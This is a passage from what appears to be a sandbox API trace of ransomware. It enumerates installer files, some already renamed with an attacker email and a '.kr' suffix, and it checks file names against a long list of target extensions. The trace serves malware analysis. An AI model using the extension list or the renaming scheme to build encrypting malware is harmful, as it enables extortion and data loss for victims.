ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0088.814] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0088.815] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0088.815] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0088.815] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0088.815] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0088.816] FindClose (in: hFindFile=0x4260750 | out: hFindFile=0x4260750) returned 1 [0088.816] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0088.817] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0088.817] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0088.817] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0088.817] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0088.818] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0088.818] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0088.818] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7b8869c, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7b8869c, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7f4224d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARAME~1.KR")) returned 1 [0088.818] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0088.819] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0088.819] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0088.819] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0088.820] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0088.820] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c00022, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c00022, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c00022, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPU~1.KR")) returned 1 [0088.820] lstrlenW (lpString="SetupUi.xsd.id-B4197730.[blablacar@airmail.cc].kr") returned 49 [0088.820] lstrlenW (lpString=".1cd") returned 4 [0088.820] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0088.820] lstrlenW (lpString=".3ds") returned 4 [0088.820] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0088.820] lstrlenW (lpString=".3fr") returned 4 [0088.820] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0088.820] lstrlenW (lpString=".3g2") returned 4 [0088.820] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0088.820] lstrlenW (lpString=".3gp") returned 4 [0088.821] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0088.821] lstrlenW (lpString=".7z") returned 3 [0088.821] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0088.821] lstrlenW (lpString=".accda") returned 6 [0088.821] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0088.821] lstrlenW (lpString=".accdb") returned 6 [0088.821] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0088.821] lstrlenW (lpString=".accdc") returned 6 [0088.821] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0088.821] lstrlenW (lpString=".accde") returned 6 [0088.821] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0088.821] lstrlenW (lpString=".accdt") returned 6 [0088.821] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0088.821] lstrlenW (lpString=".accdw") returned 6 [0088.821] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0088.821] lstrlenW (lpString=".adb") returned 4 [0088.821] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0088.821] lstrlenW (lpString=".adp") returned 4 [0088.821] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0088.821] lstrlenW (lpString=".ai") returned 3 [0088.821] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0088.821] lstrlenW (lpString=".ai3") returned 4 [0088.821] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0088.821] lstrlenW (lpString=".ai4") returned 4 [0088.821] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0088.822] lstrlenW (lpString=".ai5") returned 4 [0088.822] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0088.822] lstrlenW (lpString=".ai6") returned 4 [0088.822] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0088.822] lstrlenW (lpString=".ai7") returned 4 [0088.822] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0088.822] lstrlenW (lpString=".ai8") returned 4 [0088.822] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0088.822] lstrlenW (lpString=".anim") returned 5 [0088.822] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0088.822] lstrlenW (lpString=".arw") returned 4 [0088.822] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0088.822] lstrlenW (lpString=".as") returned 3 [0088.822] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0088.822] lstrlenW (lpString=".asa") returned 4 [0088.822] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0088.822] lstrlenW (lpString=".asc") returned 4 [0088.822] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0088.822] lstrlenW (lpString=".ascx") returned 5 [0088.822] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0088.822] lstrlenW (lpString=".asm") returned 4 [0088.822] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0088.822] lstrlenW (lpString=".asmx") returned 5 [0088.822] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0088.823] lstrlenW (lpString=".asp") returned 4 [0088.823] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0088.823] lstrlenW (lpString=".aspx") returned 5 [0088.823] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0088.823] lstrlenW (lpString=".asr") returned 4 [0088.823] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0088.823] lstrlenW (lpString=".asx") returned 4 [0088.823] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0088.823] lstrlenW (lpString=".avi") returned 4 [0088.823] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0088.823] lstrlenW (lpString=".avs") returned 4 [0088.823] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0088.823] lstrlenW (lpString=".backup") returned 7 [0088.823] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0088.823] lstrlenW (lpString=".bak") returned 4 [0088.823] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0088.823] lstrlenW (lpString=".bay") returned 4 [0088.823] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0088.823] lstrlenW (lpString=".bd") returned 3 [0088.823] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0088.823] lstrlenW (lpString=".bin") returned 4 [0088.823] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0088.823] lstrlenW (lpString=".bmp") returned 4 [0088.823] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0088.823] lstrlenW (lpString=".bz2") returned 4 [0088.823] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0088.824] lstrlenW (lpString=".c") returned 2 [0088.824] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0088.824] lstrlenW (lpString=".cdr") returned 4 [0088.824] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0088.824] lstrlenW (lpString=".cer") returned 4 [0088.824] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0088.824] lstrlenW (lpString=".cf") returned 3 [0088.824] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0088.824] lstrlenW (lpString=".cfc") returned 4 [0088.824] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0088.824] lstrlenW (lpString=".cfm") returned 4 [0088.824] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0088.824] lstrlenW (lpString=".cfml") returned 5 [0088.824] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0088.824] lstrlenW (lpString=".cfu") returned 4 [0088.824] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0088.824] lstrlenW (lpString=".chm") returned 4 [0088.824] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0088.824] lstrlenW (lpString=".cin") returned 4 [0088.824] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0088.824] lstrlenW (lpString=".class") returned 6 [0088.824] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0088.824] lstrlenW (lpString=".clx") returned 4 [0088.824] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0088.824] lstrlenW (lpString=".config") returned 7 [0088.825] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0088.825] lstrlenW (lpString=".cpp") returned 4 [0088.825] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0088.825] lstrlenW (lpString=".cr2") returned 4 [0088.825] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0088.825] lstrlenW (lpString=".crt") returned 4 [0088.825] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0088.825] lstrlenW (lpString=".crw") returned 4 [0088.825] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0088.825] lstrlenW (lpString=".cs") returned 3 [0088.825] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0088.825] lstrlenW (lpString=".css") returned 4 [0088.825] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0088.825] lstrlenW (lpString=".csv") returned 4 [0088.825] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0088.825] lstrlenW (lpString=".cub") returned 4 [0088.825] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0088.825] lstrlenW (lpString=".dae") returned 4 [0088.825] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0088.825] lstrlenW (lpString=".dat") returned 4 [0088.825] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0088.825] lstrlenW (lpString=".db") returned 3 [0088.825] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0088.825] lstrlenW (lpString=".dbf") returned 4 [0088.825] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0088.825] lstrlenW (lpString=".dbx") returned 4 [0088.826] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0088.826] lstrlenW (lpString=".dc3") returned 4 [0088.826] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0088.826] lstrlenW (lpString=".dcm") returned 4 [0088.826] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0088.826] lstrlenW (lpString=".dcr") returned 4 [0088.826] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0088.826] lstrlenW (lpString=".der") returned 4 [0088.826] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0088.826] lstrlenW (lpString=".dib") returned 4 [0088.826] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0088.826] lstrlenW (lpString=".dic") returned 4 [0088.826] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0088.826] lstrlenW (lpString=".dif") returned 4 [0088.826] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0088.826] lstrlenW (lpString=".divx") returned 5 [0088.826] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0088.826] lstrlenW (lpString=".djvu") returned 5 [0088.826] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0088.826] lstrlenW (lpString=".dng") returned 4 [0088.826] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0088.826] lstrlenW (lpString=".doc") returned 4 [0088.826] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0088.826] lstrlenW (lpString=".docm") returned 5 [0088.826] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0088.826] lstrlenW (lpString=".docx") returned 5 [0088.826] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0088.827] lstrlenW (lpString=".dot") returned 4 [0088.827] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0088.827] lstrlenW (lpString=".dotm") returned 5 [0088.827] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0088.827] lstrlenW (lpString=".dotx") returned 5 [0088.827] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0088.827] lstrlenW (lpString=".dpx") returned 4 [0088.827] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0088.827] lstrlenW (lpString=".dqy") returned 4 [0088.827] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0088.827] lstrlenW (lpString=".dsn") returned 4 [0088.827] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0088.827] lstrlenW (lpString=".dt") returned 3 [0088.827] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0088.827] lstrlenW (lpString=".dtd") returned 4 [0088.827] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0088.827] lstrlenW (lpString=".dwg") returned 4 [0088.827] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0088.827] lstrlenW (lpString=".dwt") returned 4 [0088.827] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0088.827] lstrlenW (lpString=".dx") returned 3 [0088.827] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0088.827] lstrlenW (lpString=".dxf") returned 4 [0088.827] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0088.827] lstrlenW (lpString=".edml") returned 5 [0088.827] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0088.828] lstrlenW (lpString=".efd") returned 4 [0088.828] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0088.828] lstrlenW (lpString=".elf") returned 4 [0088.828] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0088.828] lstrlenW (lpString=".emf") returned 4 [0088.828] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0088.828] lstrlenW (lpString=".emz") returned 4 [0088.828] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0088.828] lstrlenW (lpString=".epf") returned 4 [0088.828] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0088.828] lstrlenW (lpString=".eps") returned 4 [0088.828] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0088.828] lstrlenW (lpString=".epsf") returned 5 [0088.828] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0088.828] lstrlenW (lpString=".epsp") returned 5 [0088.828] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0088.828] lstrlenW (lpString=".erf") returned 4 [0088.828] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0088.828] lstrlenW (lpString=".exr") returned 4 [0088.828] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0088.828] lstrlenW (lpString=".f4v") returned 4 [0088.828] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0088.828] lstrlenW (lpString=".fido") returned 5 [0088.828] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0088.828] lstrlenW (lpString=".flm") returned 4 [0088.829] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0088.829] lstrlenW (lpString=".flv") returned 4 [0088.829] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0088.829] lstrlenW (lpString=".frm") returned 4 [0088.829] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0088.829] lstrlenW (lpString=".fxg") returned 4 [0088.829] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0088.829] lstrlenW (lpString=".geo") returned 4 [0088.829] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0088.829] lstrlenW (lpString=".gif") returned 4 [0088.829] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0088.829] lstrlenW 